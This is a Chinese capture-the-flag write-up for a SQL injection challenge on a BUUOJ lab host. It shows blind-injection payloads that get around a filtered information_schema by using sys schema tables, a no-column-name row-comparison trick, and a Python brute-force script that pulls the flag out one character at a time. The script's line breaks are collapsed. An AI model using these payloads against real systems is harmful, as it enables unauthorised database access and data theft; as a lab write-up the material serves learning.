又是sql新题型哦。继续收集!
既然知道是sql注入就不墨迹了。初步判断盲注,判断盲注的方发不用说了吧,然后fuzz一下,information被过滤了。再次可以判断为盲注与无列名注入。
管他有列名还是无列名,先找到表。由于information被过滤了。可以用以下来代替sys.x$schema_flattened_keys
sys.schema_table_statistics_with_buffer
2||(ASCII(SUBSTR((select(group_concat(table_name))FROM(sys.x$schema_flattened_keys)where(table_schema)=database()),1,1))=102)
拿去脚本跑一下
因为无列名注入无法获得列名,不能使用普通盲注,而且这里也无法使用union select。来尝试一下新的方法吧。我从别人那扒过来的
大概什么意思呢?
匹配逻辑是比较首字母ascii码大小(与长度无关)。若首字母相等,继续比较下一位
a>f 0
f>a 1
a=a 0
af>fl 0
af>ae 1
aff>afg 0
aff>afe 1
aff>afef 1
这是比较形象的解释。所以构造payload。flag就是要替换的字符
((select 1,"flag")>(select * from f1ag_1s_h3r3_hhhhh))
import requestsflag=''
res=''
url1="http://697e1a0c-606c-4c7b-9a31-69449c4995d7.node5.buuoj.cn:81/index.php"
for i in range(1,500,1):for y in range(32,128,1):x=res+chr(y) #将匹配的字符与将要匹配的字符拼接进行比较url='-1||((select 1,"'+x+'")>(select * from f1ag_1s_h3r3_hhhhh))'content={'id':url}data=requests.post(url=url1,data=content)if "Nu1L" in str(data.text):res = res + chr(y-1) #匹配成功后自增,减一是因为相等返回为0,但成立条件是大于返回1,所以减1才是相等flag=flag+chr(y-1)print(flag)break
脚本写的不好,请见谅。
这题不难,难的是不知道有哪些表可以利用,不知道这种比较方法
最后在转化为小写就可以提交了
print('FLAG{BEF4BF3D-7FCC-4A5B-B2C9-212DE6E978C6}'.lower())